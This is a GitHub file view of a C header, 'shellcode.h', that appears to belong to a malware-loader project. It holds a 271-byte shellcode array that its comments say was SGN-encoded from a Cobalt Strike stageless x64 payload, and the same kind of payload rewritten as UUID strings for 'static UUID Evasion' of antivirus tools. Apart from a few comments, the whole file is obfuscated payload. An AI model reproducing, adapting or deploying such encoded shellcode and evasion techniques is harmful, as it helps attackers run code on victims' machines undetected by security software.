-
Notifications
You must be signed in to change notification settings - Fork 9
/
Copy pathshellcode.h
39 lines (34 loc) · 1.71 KB
/
shellcode.h
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#pragma once
// Have rc4 encrpyted mehh
// lazy me just using SGN
char shellcode[271] =
"\xeb\x00\x4d\x0f\x48\xc0\xe8\x9a\x00\x00\x00\xeb\x00\x9c\xb7\x41"
"\x1d\x38\x3e\x84\xff\x00\x48\x8d\x00\xea\xff\xff\xff\x00\x44\x30"
"\x4c\x0a\x0b\x44\x02\x4c\x0a\x0b\xe2\xf4\x36\xd9\x1b\xf9\xe6\x07"
"\x4b\xee\x26\xd8\x61\xbd\xcd\x18\xa4\xf7\x1d\xa0\xf5\x11\x85\xe3"
"\x98\x7c\x6c\xb8\x12\x42\xd8\x2e\x8d\xec\x7e\x9d\x29\x60\xd6\xff"
"\xa3\x36\x78\xf3\x31\x65\x0e\x78\x50\x06\x61\x17\xf7\xbf\x82\xb4"
"\x3f\x8f\xb7\xc0\xbe\x88\x63\xc4\xe6\x4d\xed\xfa\xcc\xa7\xab\xb4"
"\x04\x4a\xb3\x49\x3a\x50\x0f\x13\xd2\x15\x35\x18\x11\x43\x39\x92"
"\xeb\xd7\x2e\x79\xcc\x18\x9d\x16\xe5\x8e\xc4\xa3\x3f\x77\x86\x66"
"\x8d\xa5\x8b\xc3\x3c\xab\xcc\x8b\x5c\x12\x09\x0d\x55\xf1\x12\xb1"
"\xcf\x60\xb8\xd1\x05\x48\x8b\x1c\x24\x48\x83\xec\x08\x4d\x0f\x4c"
"\xe4\xeb\x00\x81\x43\x02\xa5\xf9\x84\x2b\x41\x52\x41\x18\xca\x41"
"\x5a\xf7\x53\x06\xeb\x00\x4d\x39\xff\xc1\x4b\x0a\x58\xf7\x53\x0e"
"\xff\xe3\x0b\xa7\xeb\x01\x21\xf7\x53\x0f\xeb\x01\x31\x50\x8a\x84"
"\x24\x90\x00\x00\x00\x58\x81\x43\x13\xe1\x2e\x73\x00\x0f\x42\xc0"
"\xf7\x53\x17\xeb\x01\xb6\xd9\xe4\xc1\x43\x1b\x4f\x57\x0f\x47\xd2"
"\x38\xd3\x80\xeb\x0e\x5f\x81\x73\x1f\x28\x14\x08\xa0\x53\xc3";
// SGN(cobalt-stageless-x64) -> ShellcodetoUUID.py
// For future static UUID Evasion - split and join parts of UUID with '-' as separator
const char* uuids[] =
{
"6850c031-6163-636c-5459-504092741551",
"2f728b64-768b-8b0c-760c-ad8b308b7e18",
"1aeb50b2-60b2-2948-d465-488b32488b76",
"768b4818-4810-48ad-8b30-488b7e300357",
"175c8b3c-8b28-1f74-2048-01fe8b541f24",
"172cb70f-528d-ad02-813c-0757696e4575",
"1f748bef-481c-fe01-8b34-ae4801f799ff",
"000000d7-0000-0000-0000-000000000000",
};